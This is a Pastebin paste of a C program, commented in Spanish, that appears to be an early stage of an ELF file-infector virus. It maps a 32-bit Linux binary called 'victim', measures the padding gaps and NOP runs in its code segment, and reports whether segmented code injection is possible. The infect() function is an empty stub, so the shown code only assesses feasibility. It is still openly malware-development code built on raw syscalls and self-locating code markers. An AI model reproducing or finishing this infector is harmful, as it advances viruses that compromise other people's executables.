SHARE
TWEET

Untitled

a guest Apr 5th, 2012 124 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  *    Estimación de la viabilidad de la inyección segmentada con metadatos
  3.  *    en los propios espacios de alineamiento de funciones.
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24. #include <sys/mman.h>
  25. #include <stdlib.h>
  26.  
  27. /* Mínimo de contigüidad. Esto deberá modificarse una vez que escribamos la
  28.    rutina de reensamblado para asegurar que se carga completamente */
  29. #define MIN_CONTIGUOUS 64
  30.  
  31. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  32.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  33.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  34.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  35.    coincidencia) */
  36.    
  37. #define BOTTOM_MARKER_LOW  0x504b
  38. #define BOTTOM_MARKER_HIGH 0x5841
  39. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  40. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  41.  
  42. #define BOTTOM_MARKER      0x5841504b
  43. #define TOP_MARKER         BOTTOM_MARKER
  44.  
  45. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  46.  
  47. /* Esta versión implementa mmap en vez de read, write o lseek. Es más
  48.    rápido, más corto y funcionará mejor para nuestros propósitos */
  49. /* Los includes pueden llegar a ser muy molestos. */
  50. #define O_RDWR                02
  51.  
  52.  
  53. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  54. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  55.    sustituirá por la cadena "palabra" */
  56.    
  57. #define _STRINGIFY(x) #x
  58. #define STRINGIFY(x) _STRINGIFY (x)
  59.  
  60. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  61.    el flag "a" le obliga a que la sección se cargue en memoria */
  62.    
  63. asm (".section .code_bottom, \"xa\"");
  64. asm (".long " STRINGIFY (BOTTOM_MARKER));
  65. asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */
  66. asm (".section .code_top, \"xa\"");
  67. asm (".long " STRINGIFY (TOP_MARKER));
  68.  
  69.  
  70. /* write la conservamos SÓLO para debug */
  71. int
  72. write (int fd, const void *buf, int size)
  73. {
  74.   int ret;
  75.  
  76.   asm volatile ("xchg %%ebx, %%esi\n"
  77.                  "int $0x80\n"
  78.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  79.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  80.    
  81.   return ret;
  82. }
  83.  
  84. /*
  85.  * Código copiado por las malas de la libc para la implementación de mmap.
  86.  */
  87.  
  88. void *
  89. mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
  90.  
  91. int
  92. munmap (void *start, size_t length);
  93.  
  94. asm (".section .text");
  95. asm (".global munmap");
  96. asm ("munmap:");
  97. asm ("  mov    %ebx,%edx");
  98. asm ("  mov    0x8(%esp),%ecx");
  99. asm ("  mov    0x4(%esp),%ebx");
  100. asm ("  mov    $0x5b,%eax");
  101. asm ("  int    $0x80");
  102. asm ("  mov    %edx,%ebx");
  103. asm ("  ret");
  104.  
  105. asm (".global mmap");
  106. asm ("mmap:");
  107. asm ("  push %eax");
  108. asm ("  pusha");
  109. asm ("  mov    0x28(%esp), %ebx");
  110. asm ("  mov    0x2c(%esp), %ecx");
  111. asm ("  mov    0x30(%esp), %edx");
  112. asm ("  mov    0x34(%esp), %esi");
  113. asm ("  mov    0x38(%esp), %edi");
  114. asm ("  mov    0x3c(%esp), %ebp");
  115. asm ("  shr    $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
  116. asm ("  mov    $0xc0, %eax");
  117. asm ("  int    $0x80");
  118. asm ("  mov    %eax, 0x20(%esp)");
  119. asm ("  popa");
  120. asm ("  pop %eax");
  121. asm ("  ret");
  122.  
  123. static int
  124. open (const char *path, int mode)
  125. {
  126.   int ret;
  127.  
  128.   asm volatile ("xchg %%ebx, %%esi\n"
  129.                  "int $0x80\n"
  130.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  131.                  "a" (__NR_open), "S" (path), "c" (mode));
  132.    
  133.   return ret;
  134. }
  135.  
  136. static int
  137. close (int fd)
  138. {
  139.   int ret;
  140.  
  141.   asm volatile ("xchg %%ebx, %%esi\n"
  142.                  "int $0x80\n"
  143.                  "xchg %%ebx, %%esi\n" : "=a" (ret) :
  144.                  "a" (__NR_close), "S" (fd));
  145.    
  146.   return ret;
  147. }
  148.  
  149.  
  150. #define GET_FILE_SIZE(fd, size)                                \
  151.   asm volatile ("xchg %%ebx, %%esi\n"                          \
  152.                 "int $0x80\n"                                  \
  153.                 "xchg %%ebx, %%esi\n" : "=a" (size) :          \
  154.                 "a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
  155.  
  156. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  157.    muy útil para depurar. */
  158. void
  159. long2hex (unsigned int number, char *buf)
  160. {
  161.   int i;
  162.   char hexa[] = "0123456789abcdef";
  163.  
  164.   buf[8] = 0;
  165.  
  166.   for (i = 0; i < 8; i++)
  167.   {
  168.     buf[7 - i] = hexa[number & 0xf];
  169.     number >>= 4;
  170.   }
  171. }
  172.  
  173. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  174.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  175.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  176.    hacia arriba o hacia abajo hasta encontrarlos */
  177.    
  178. void
  179. get_code_limits (uint32_t *bottom, uint32_t *top)
  180. {
  181.   int i;
  182.   uint32_t this_addr;
  183.  
  184.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  185.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  186.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  187.      inline assembly de GCC */
  188.      
  189.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  190.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  191.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  192.      a un cacho de código que no está especialmente diferenciado del resto. */
  193.      
  194.   asm volatile ("call 1f\n"
  195.                  "1:\n"
  196.                  "popl %0\n" : "=g" (this_addr));
  197.                  
  198.  
  199.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  200.      últimos bits a cero. */
  201.      
  202.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  203.                       this_addr = this_addr & 0xfffffffc que es un and
  204.                       en binario con todo 1 menos los dos últimos bits,
  205.                       esto fuerza a que el número esté alineado a 4. */
  206.  
  207.  
  208.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  209.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  210.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  211.      
  212.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  213.      restando. */
  214.      
  215.   for (i = this_addr; ; i -= 4)
  216.   {
  217.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  218.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  219.       {
  220.         *bottom = i;
  221.         break;
  222.       }
  223.   }
  224.  
  225.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  226.      nuestra memoria hacia adelante, sumando. */
  227.   for (i = this_addr; ; i += 4)
  228.   {
  229.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  230.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  231.       {
  232.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  233.                          4 bytes) también pertenece al código. */
  234.         break;
  235.       }
  236.   }
  237.  
  238. }
  239.  
  240. /* Equivalente a map_elf, pero usando mmap */
  241. void *
  242. map_elf (const char *path, size_t *size)
  243. {
  244.   int fd;
  245.   void *map;
  246.   Elf32_Ehdr *Ehdr;
  247.  
  248.   if ((fd = open (path, O_RDWR)) < 0)
  249.     return NULL; /* Error al abrir */
  250.  
  251.   GET_FILE_SIZE (fd, *size);
  252.  
  253.   if (*size < 0)
  254.     return NULL;
  255.    
  256.   if ((uint32_t) (map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0)) & 0xfff)
  257.   {
  258.     DEBUG (map);
  259.     close (fd);
  260.     return NULL;
  261.   }
  262.  
  263.   close (fd);
  264.  
  265.   Ehdr = (Elf32_Ehdr *) map;
  266.  
  267.  
  268.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  269.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  270.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  271.       Ehdr->e_ident[EI_MAG3] != ELFMAG3 ||
  272.       Ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
  273.       Ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
  274.       Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  275.   {
  276.     munmap (map, *size);
  277.     return NULL; /* Números mágicos incorrectos */
  278.   }
  279.  
  280.   return map;
  281. }
  282.  
  283. /* Macro para alinear a tamaños */
  284. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  285.  
  286. int
  287. get_alloc_info (void *base, size_t *gap_bytes, int *nop_bytes, int *nop_chunks)
  288. {
  289.   int i;
  290.   int code_idx;
  291.   size_t  gap_size;
  292.   unsigned char *text;
  293.   int state = 0;
  294.   int stripsize = 0;
  295.   off_t   gap_start, gap_start_relative;
  296.  
  297.   Elf32_Ehdr *Ehdr;
  298.   Elf32_Phdr *Phdr;
  299.  
  300.   code_idx = -1;
  301.  
  302.   Ehdr = (Elf32_Ehdr *) base;
  303.   Phdr = (Elf32_Phdr *) (base + Ehdr->e_phoff);
  304.    
  305.   for (i = 0; i < Ehdr->e_phnum; i++)
  306.   {  
  307.     if (Phdr[i].p_type == PT_LOAD)
  308.     {
  309.       if (Phdr[i].p_flags & PF_X)
  310.       {
  311.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  312.           return -1;
  313.         code_idx = i;
  314.       }
  315.     }
  316.   }
  317.    
  318.   if (code_idx == -1)
  319.     return -1;
  320.  
  321.   gap_start_relative = ALIGN (Phdr[code_idx].p_filesz, 4); /* Comienzo relativo al segmento */
  322.   gap_start = Phdr[code_idx].p_offset + gap_start_relative; /* Comienzo real */
  323.   gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  324.  
  325.      
  326.   for (i = 0; i < Ehdr->e_phnum; i++)
  327.   {
  328.     /* ¿Está a caballo entre otro segmento? */
  329.     if (Phdr[i].p_type == PT_LOAD)
  330.       if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + gap_size)
  331.         gap_size = Phdr[i].p_offset - gap_start; /* Corregimos */
  332.   }
  333.  
  334.   *gap_bytes = gap_size;
  335.    
  336.   text = (unsigned char *) (base + Phdr[code_idx].p_offset);
  337.  
  338.   *nop_bytes = 0;
  339.   *nop_chunks = 0;
  340.  
  341.   for (i = 0; i < Phdr[code_idx].p_filesz; i++)
  342.   {
  343.     if (!state)
  344.     {
  345.       if (text[i] == 0x90) /* RET */
  346.       {
  347.         stripsize = 1;
  348.         state++;
  349.       }
  350.     }
  351.     else
  352.     {
  353.       if (text[i] == 0x90)
  354.         stripsize++;
  355.       else
  356.       {
  357.         if (stripsize > 4)
  358.         {
  359.           (*nop_bytes) += stripsize;
  360.           (*nop_chunks)++;
  361.         }
  362.        
  363.         state--;
  364.       }
  365.     }
  366.   }
  367.  
  368.   return 0;
  369. }
  370.  
  371. int
  372. infect (Elf32_Phdr *phdr, void *code_base, void *gap_start, size_t gap_bytes)
  373. {
  374.  
  375. }
  376.  
  377. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  378. void
  379. _start (void)
  380. {
  381.   char buffer[9];
  382.   size_t victim_size;
  383.   void* victim_base;
  384.   size_t code_size;
  385.   int gap, nops, chunks;
  386.  
  387.   uint32_t limit_bottom;
  388.   uint32_t limit_top;
  389.  
  390.   get_code_limits (&limit_bottom, &limit_top);
  391.   code_size = limit_top - limit_bottom;
  392.   if ((victim_base = map_elf ("victim", &victim_size)) == NULL)
  393.   {
  394.     DEBUG ("Imposible abrir victim\n");
  395.     for (;;);
  396.   }
  397.  
  398.   if (get_alloc_info (victim_base, &gap, &nops, &chunks) == -1)
  399.   {
  400.     DEBUG ("El binario tiene un segmento de texto extraño.\n");
  401.     for (;;);
  402.   }
  403.  
  404.   if (gap < MIN_CONTIGUOUS)
  405.   {
  406.     DEBUG ("No se ha satisfecho el criterio de mínima contigüidad\n");
  407.   }
  408.   else
  409.   {
  410.     if (code_size < gap)
  411.       DEBUG ("Parece que todo cabe en la brecha. No es necesaria la segmentación.\n");
  412.      
  413.     if (code_size < gap + nops - 4 * chunks)
  414.       DEBUG ("Infección POSIBLE\n");
  415.     else
  416.       DEBUG ("Infección imposible :(\n");
  417.   }
  418.   for (;;);
  419. }
RAW Paste Data
Top